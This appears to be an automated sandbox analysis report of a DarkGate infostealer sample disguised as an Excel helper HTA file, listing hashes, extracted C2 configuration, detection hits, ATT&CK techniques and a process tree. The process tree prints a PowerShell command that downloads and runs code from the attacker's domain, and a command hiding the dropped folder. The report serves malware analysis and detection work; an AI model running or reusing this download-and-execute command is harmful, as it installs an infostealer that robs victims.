darkgate | bfad2a15e46ca4c593a5fa3d721942145ad7a76076d5db6aa835dc3813f7728e

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
06-05-2024 18:57

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General

Target

MS_EXCEL_DOCUMENT_HELPER.hta
Size

2KB
MD5

af9e3d794e3f9caaabb93b84fb6ba798
SHA1

7aaa1e1e08ed260e9bff99576f66319aa7b05367
SHA256

bfad2a15e46ca4c593a5fa3d721942145ad7a76076d5db6aa835dc3813f7728e
SHA512

5bbecab1f7ca66b7f6620943bb9024fb88a0ce3ed95830af5515fb623e330d16ac967d44a8cc7121ddd9808c7b02476a90ce203de0c69f81f5c77b6378f6cb91

Score

10^/10

darkgate admin888 execution stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

findyourbackups.com

Attributes

anti_analysis
false
anti_debug
false
anti_vm
false
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
ljuGymXn
minimum_disk
100
minimum_ram
4096
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1584-89-0x0000000004490000-0x000000000482A000-memory.dmp	family_darkgate_v6
behavioral1/memory/1584-92-0x0000000004490000-0x000000000482A000-memory.dmp	family_darkgate_v6
behavioral1/memory/1584-91-0x0000000004490000-0x000000000482A000-memory.dmp	family_darkgate_v6
behavioral1/memory/1584-90-0x0000000004490000-0x000000000482A000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 1100 powershell.exe
3 1100 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

Autoit3.exe

pid process

1584 Autoit3.exe
Command and Scripting Interpreter: AutoIT 1 TTPs 1 IoCs
Using AutoIT for possible automate script.
execution

AutoHotKey & AutoIT
T1059.010

Processes:

Autoit3.exe

pid process

1584 Autoit3.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1100 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
2	1100	powershell.exe
3	1100	powershell.exe

pid	process
1584	Autoit3.exe

pid	process
1584	Autoit3.exe

pid	process
1100	powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Autoit3.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeAutoit3.exe

pid process

1100 powershell.exe
1100 powershell.exe
1584 Autoit3.exe
1584 Autoit3.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Autoit3.exe

pid process

1584 Autoit3.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1100 powershell.exe

pid	process
1100	powershell.exe
1100	powershell.exe
1584	Autoit3.exe
1584	Autoit3.exe

pid	process
1584	Autoit3.exe

description	pid	process
Token: SeDebugPrivilege	1100	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

mshta.exepowershell.exe

description	pid	process	target process
PID 3884 wrote to memory of 1100	3884	mshta.exe	powershell.exe
PID 3884 wrote to memory of 1100	3884	mshta.exe	powershell.exe
PID 3884 wrote to memory of 1100	3884	mshta.exe	powershell.exe
PID 1100 wrote to memory of 1584	1100	powershell.exe	Autoit3.exe
PID 1100 wrote to memory of 1584	1100	powershell.exe	Autoit3.exe
PID 1100 wrote to memory of 1584	1100	powershell.exe	Autoit3.exe
PID 1100 wrote to memory of 4532	1100	powershell.exe	attrib.exe
PID 1100 wrote to memory of 4532	1100	powershell.exe	attrib.exe
PID 1100 wrote to memory of 4532	1100	powershell.exe	attrib.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

4532 attrib.exe

pid	process
4532	attrib.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\MS_EXCEL_DOCUMENT_HELPER.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Suspicious use of WriteProcessMemory
PID:3884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'findyourbackups.com/hwkayiuj')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\rlrh\Autoit3.exe
    "C:\rlrh\Autoit3.exe" script.a3x
    3⤵
    - Executes dropped EXE
    - Command and Scripting Interpreter: AutoIT
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1584
- - C:\Windows\SysWOW64\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rlrh/
    3⤵
    - Views/modifies file attributes
    PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

AutoHotKey & AutoIT

T1059.010

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5og15pwe.d13.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\rlrh\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

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C:\rlrh\script.a3x

Filesize
498KB

MD5
20b223466a0fd0e9ac7b2bbedfa30bda

SHA1
d3f2aef0e21cb9345d861a298d1175662a825a5d

SHA256
a83d2c0c1d16b0f608c3082d20c498411ac7e4f9fc4f68a2c1a3c2c065d4b124

SHA512
f7c4bd978a57e210fd31cf22f7a30d192ef714f61e972105b70e60b370ed20bfa1c1e03a88737980c9ab39955549a3325c5e16415d6ec9e971c7bdca2341a8f6

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memory/1100-37-0x00000000080F0000-0x000000000810E000-memory.dmp

Filesize
120KB

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memory/1100-60-0x0000000008460000-0x0000000008475000-memory.dmp

Filesize
84KB

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memory/1100-6-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

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memory/1100-5-0x0000000005970000-0x00000000059D6000-memory.dmp

Filesize
408KB

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memory/1100-2-0x0000000074CA0000-0x0000000075451000-memory.dmp

Filesize
7.7MB

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memory/1100-15-0x0000000005AD0000-0x0000000005E27000-memory.dmp

Filesize
3.3MB

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memory/1100-16-0x0000000006000000-0x000000000601E000-memory.dmp

Filesize
120KB

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memory/1100-17-0x0000000006030000-0x000000000607C000-memory.dmp

Filesize
304KB

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memory/1100-26-0x0000000073C50000-0x0000000073C9C000-memory.dmp

Filesize
304KB

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memory/1100-19-0x0000000006520000-0x000000000653A000-memory.dmp

Filesize
104KB

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memory/1100-20-0x0000000007E90000-0x0000000008052000-memory.dmp

Filesize
1.8MB

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memory/1100-22-0x00000000075F0000-0x0000000007612000-memory.dmp

Filesize
136KB

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memory/1100-21-0x0000000007D60000-0x0000000007DF6000-memory.dmp

Filesize
600KB

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memory/1100-23-0x0000000008610000-0x0000000008BB6000-memory.dmp

Filesize
5.6MB

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memory/1100-27-0x0000000074CA0000-0x0000000075451000-memory.dmp

Filesize
7.7MB

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memory/1100-28-0x0000000071170000-0x00000000714C7000-memory.dmp

Filesize
3.3MB

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memory/1100-25-0x00000000080B0000-0x00000000080E4000-memory.dmp

Filesize
208KB

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memory/1100-0-0x0000000074CAE000-0x0000000074CAF000-memory.dmp

Filesize
4KB

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memory/1100-18-0x0000000007640000-0x0000000007CBA000-memory.dmp

Filesize
6.5MB

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memory/1100-38-0x0000000008120000-0x00000000081C4000-memory.dmp

Filesize
656KB

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memory/1100-44-0x00000000083C0000-0x00000000083CA000-memory.dmp

Filesize
40KB

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memory/1100-40-0x0000000074CA0000-0x0000000075451000-memory.dmp

Filesize
7.7MB

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memory/1100-41-0x0000000074CA0000-0x0000000075451000-memory.dmp

Filesize
7.7MB

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memory/1100-42-0x0000000008240000-0x0000000008251000-memory.dmp

Filesize
68KB

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memory/1100-43-0x00000000083D0000-0x00000000083E2000-memory.dmp

Filesize
72KB

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memory/1100-39-0x0000000008220000-0x000000000822A000-memory.dmp

Filesize
40KB

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memory/1100-50-0x0000000071170000-0x00000000714C7000-memory.dmp

Filesize
3.3MB

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memory/1100-59-0x0000000008440000-0x000000000844E000-memory.dmp

Filesize
56KB

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memory/1100-4-0x0000000005160000-0x0000000005182000-memory.dmp

Filesize
136KB

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memory/1100-61-0x00000000084A0000-0x00000000084BA000-memory.dmp

Filesize
104KB

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memory/1100-62-0x00000000084E0000-0x00000000084E8000-memory.dmp

Filesize
32KB

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memory/1100-3-0x0000000005340000-0x000000000596A000-memory.dmp

Filesize
6.2MB

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memory/1100-1-0x0000000004B70000-0x0000000004BA6000-memory.dmp

Filesize
216KB

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memory/1100-75-0x0000000074CA0000-0x0000000075451000-memory.dmp

Filesize
7.7MB

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memory/1584-89-0x0000000004490000-0x000000000482A000-memory.dmp

Filesize
3.6MB

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memory/1584-92-0x0000000004490000-0x000000000482A000-memory.dmp

Filesize
3.6MB

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memory/1584-91-0x0000000004490000-0x000000000482A000-memory.dmp

Filesize
3.6MB

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memory/1584-90-0x0000000004490000-0x000000000482A000-memory.dmp

Filesize
3.6MB

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